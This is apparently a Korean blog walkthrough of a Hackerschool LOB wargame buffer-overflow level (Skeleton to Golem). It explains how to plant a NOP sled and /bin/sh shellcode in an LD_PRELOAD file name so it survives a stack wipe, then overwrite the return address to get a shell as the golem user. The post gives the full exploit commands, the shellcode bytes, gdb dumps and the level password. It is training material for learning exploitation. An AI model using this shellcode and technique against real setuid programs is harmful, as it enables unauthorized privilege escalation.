[해커스쿨 LOB] Level11: Skeleton >> Golem

두비니

·

2020. 7. 26. 19:05

 

 

 


Level 11. Skeleton >> Golem

Theme: Stack Destroyer


 

 

 

 

로그인

id : skeleton
pw : shellcoder

 

bash2 & 코드 확인

[skeleton@localhost skeleton]$ ls
golem  golem.c
[skeleton@localhost skeleton]$ bash2
[skeleton@localhost skeleton]$ nl golem.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - golem
     4          - stack destroyer
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  extern char **environ;

     9  main(int argc, char *argv[])
    10  {
    11          char buffer[40];
    12          int i;

    13          if(argc < 2){
    14                  printf("argv error\n");
    15                  exit(0);
    16          }

    17          if(argv[1][47] != '\xbf')
    18          {
    19                  printf("stack is still your friend.\n");
    20                  exit(0);
    21          }

    22          strcpy(buffer, argv[1]);
    23          printf("%s\n", buffer);

    24          // stack destroyer!
    25          memset(buffer, 0, 44);
    26          memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
    27  }

 

제한조건

1. argv는 2개 이상 입력

2. argv[1]의 48번째 바이트는 '\xbf'여야 함 (stack is still your friend)

3. buffer이후 stack 모든영역 사용불가(stack destroyer!) *new!*

 

 

stack destroyer의 코드를 한번만 봅시다.

          // stack destroyer!
          memset(buffer, 0, 44);
          memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

 

첫번째 줄에서 buffer를 0으로 memset하고,

buffer+48부터 stack의 모든 영역을 0으로 memset해버리네요. 

ret영역을 제외하고는 모두 날려버리기때문에 argv를 얼마나 선언하든, ret뒤로 얼마나 bof를 하든, 저번문제에서 사용한 메모리의 마지막 부분까지도 소용없다는 이야기입니다.

단, buffer 이후의 stack을 날려버리므로 그 전의 영역을 건드릴 수 있을까에 대한 문제인건데....

 

이 문제는 리눅스 라이브러리에 대한 사전지식이 필요한 문제입니다.

한 가지 힌트가 있다면 환경변수를 사용할 수 있다는 것입니다.

 

 

결론부터 말하자면, 이번 문제는 환경변수 LD_PRELOAD를 활용하는 문제입니다.

 

모든 운영체제가 그렇듯, 리눅스도 "라이브러리"라는 것을 이용합니다.

쉽게 말하자면 프로그램을 실행시킬 때에는 사용자 지정 함수 뿐만아닌, 외부 라이브러리에서 불로오는 함수들도 존재합니다. (ex. C언어에서 stdio.h라는 헤더(라이브러리)의 printf, scanf(함수) 등등...)

이러한 함수들도 메모리에 로딩을 해야 사용할 수 있습니다.

 

메모리에 로딩하게되면 당연히 스택영역이 아닌 다른 영역에 로딩되게 됩니다.

 

[skeleton@localhost skeleton]$ ldd golem
        libc.so.6 => /lib/libc.so.6 (0x40018000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[skeleton@localhost skeleton]$

 

ldd 명령어는 사용하고 있는 공유 라이브러리의 주소를 알려줍니다. 즉, libc.so.6, ld-linux.so.2에 memset, printf, strcpy같은 함수들이 들어가있는 것입니다. 그리고 프로그램이 실행되면 저 영역에서 함수들이 불려오게됩니다.

 

이제 여기서 LD_PRELOAD에 대해서 알아봅시다.

 

+)LD_PRELOAD 란?

  • 유닉스/리눅스 계열에서 사용되는 환경 변수입니다.
  • 프로세스가 실행될 때, 이 환경 변수에 지정된 공유 라이브러리가 먼저 로드됩니다.
  • 따라서 다른 라이브러리의 함수와 LD_PRELOAD 에 지정된 라이브러리의 함수가 서로 이름이 똑같을 경우 LD_PRELOAD가 실행되게 됩니다. (라이브러리 적재 순서 때문에)

 

굳이 LD_PRELOAD를 이용하는 이유는 스택 상에 LD_PRELOAD의 파일명이 올라가기 때문입니다.

저번 문제에서 파일 이름이 마지막 메모리에 기록됐듯이, LD_PRELOAD도 불려오게되면 스택에 기록되게 됩니다. (당연히 buffer보다는 낮은 영역에 기록됩니다.)

 

 

 

 

근데 사실 설명만 보면 감이 안오는게 사실이라, 간단한 예제로 우리가 하고자 하는 바를 먼저 실험해봅시다.

우선 파일을 하나 만듭시다.

 

[skeleton@localhost skeleton]$ vi test.c
[skeleton@localhost skeleton]$ cat test.c
#include <stdio.h>

int main(){
        printf("hi?");
        return 0;
}

 

파일내용은 문제풀이에 전혀 영향을 주지 않습니다. 아무렇게나 짜도 상관없습니다.

 

[skeleton@localhost skeleton]$ cp golem golel
[skeleton@localhost skeleton]$ gcc -o test.so -fPIC --shared test.c
[skeleton@localhost skeleton]$ ls
golel  golem  golem.c  test.so  test.c
[skeleton@localhost skeleton]$ export LD_PRELOAD=/home/skeleton/test.so

 

일단 gcc로 컴파일하여 .so파일을 만들었습니다. 옵션은 다음과 같습니다.

- fPIC : so 파일을 컴파일 할 때 붙이는 옵션. (속도 개선을 위한 옵션인데, 공유 라이브러리 컴파일시 통상적으로 사용되는 옵션이라고 한다.)

- shared : so파일을 컴파일 하기 위한 옵션

- so파일 : shared object. 리눅스에서 공유 라이브러리 파일의 확장자

 

(gdb) b * main+166
Breakpoint 1 at 0x8048516
(gdb) r `python -c 'print "\xbf"*48'`
Starting program: /home/skeleton/golel `python -c 'print "\xbf"*48'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

Breakpoint 1, 0x8048516 in main ()
(gdb) x/1500s $esp-0xfff
....(엄청난 생략)
0xbffff6a3:      ""
0xbffff6a4:      "h8\001@▒▒▒▒\0168"
0xbffff6af:      "@▒C\001@/home/skeleton/test.so"
0xbffff6cb:      "@h8\001@\f\""
0xbffff6d3:      "@\001▒▒▒"
...(생략)

 

gdb로 esp-0xfff의 낮은 주소의 스택을 살펴보았더니 0xbffff6af에 경로와 함께 스택에 올라간 것을 확인할 수 있습니다.

main+166은 함수 에필로그의 leave이기때문에 stack destroyer 후에도 잘 살아있는 것을 볼 수 있다.

(참고로 저 경로찾는데 한참걸리니 인내심을 가지고 찾아주시길 바랍니다...ㅎㅎㅎ)

 

아무튼 이 점을 이용한다면, LD_PRELOAD에 쉘코드를 넣어놓으면 이를 이용할 수 있겠죠?

이 문제도 symbolic link와 같은 이유로 \x2f가 없는 쉘코드를 사용합니다.

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

 

[skeleton@localhost skeleton]$ unset LD_PRELOAD
[skeleton@localhost skeleton]$ mv test.so `python -c 'print "\x90"*200+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[skeleton@localhost skeleton]$ export LD_PRELOAD=/home/skeleton/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[skeleton@localhost skeleton]$ ls
golel
golem
golem.c
test.c
????????????????????????????????????????????????????????????????????????????????????????????????????▒?^1ɱ2?l?

 

ls를 입력하는 이유는 경로가 잘 입력되있는지 확인하는 과정입니다. 제대로 입력이 잘 안됐으면 에러가 발생합니다.

 

+) 그리고 여기서 파일 뒤에 .so를 붙여야 하는거 아니냐?라고 물을 수도 있는데, 

일단 그건 LD_PRELOAD hooking이라고 뭔가 라이브러리를 통해서 다른 일을 하고 싶을 때의 이야기이고, 지금 당장은 그냥 LD_PRELOAD가 올라가있는 메모리 자체에 접근을 하고 싶은 것이기 때문에 뒤에 확장자를 붙여주지 않아도 상관이 없습니다. 혹시나 LD_PRELOAD hooking에 대해 궁금한 사람은 글 마지막에 링크를 걸어놓았으니 참고하시길 바랍니다.

 

이제 gdb로 한번 더 똑같이 분석을 해보겠습니다.

 

[skeleton@localhost skeleton]$ gdb -q golel
(gdb) b * main+166
Breakpoint 1 at 0x8048516
(gdb) r `python -c 'print "\xbf"*48'`
Starting program: /home/skeleton/golel `python -c 'print "\xbf"*48'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

Breakpoint 1, 0x8048516 in main ()
(gdb) x/1500s $esp-0xfff
...(생략)
0xbffff5f1:     0x0ebffff7      0x50400038      0x2f400144      0x656d6f68
0xbffff601:     0x656b732f      0x6f74656c      0x90902f6e      0x90909090
0xbffff611:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff621:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff631:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff641:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff651:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff661:     0x90909090      0x90909090      0x90909090      0x11eb9090
0xbffff671:     0xb1c9315e      0x0e6c8032      0xe98001ff      0xebf67501
0xbffff681:     0xffeae805      0x32ffffff      0x306951c1      0x69697430
0xbffff691:     0x6f6a6330      0x5451e48a      0xb19ae28a      0x0081ce0c
...(생략)

 

저기 nop가 있는 값들 중 아무거나 들고 가겠습니다. 0xbffff651 를 ret주소로 하겠습니다.

 

[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44 + "\x51\xf6\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒

bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid=511
cup of coffee
bash$

 

혹시나 한번에 안된다면 복사된 파일로 core를 생성한 뒤 다시 해보시길 바랍니다.

다음!

개인적으로 LD_PRELOAD찾기가 너무 힘들어서.... 뒷문제들보다 어렵다고 생각하는 문제입니다.. 수고하셨습니다!

 

 

+) 혹시나 LD_PRELOAD에 대해서 더 읽고싶다면 참고하시길 바랍니다. 그림이 깨지긴 했는데 코드만 봐도 이해가 충분히 되고, 좋은글이라 링크 남겨둡니다. LD_PRELOAD hooking을 이용한 해킹기법이니 한번씩 봐두면 좋을듯! (CTF에서 쓰인다면 보통 이런식으로 쓰임)

++) 맨 처음에 LD_PRELOAD사용하지 말라는 뜻도 이걸 쓰지 말라는 법임. 이런 식으로 hooking해서 printf()를 무조건 system()으로 바꿔버리는식으로 문제를 풀어버리면 무조건 원툴이기 때문,,,

 

참고: http://www.secmem.org/blog/2019/04/10/hooking-with-ldpreload/

 

LD_PRELOAD 를 이용한 후킹

안녕하세요. 오늘은 리눅스 환경에서 LD_PRELOAD 환경변수를 이용해서 후킹을 하는 방법에 대해 간략히 포스팅해볼까 합니다~ 후킹이란? 후킹(영어: hooking)은 소프트웨어 공학 용어로, 운영 체제나

www.secmem.org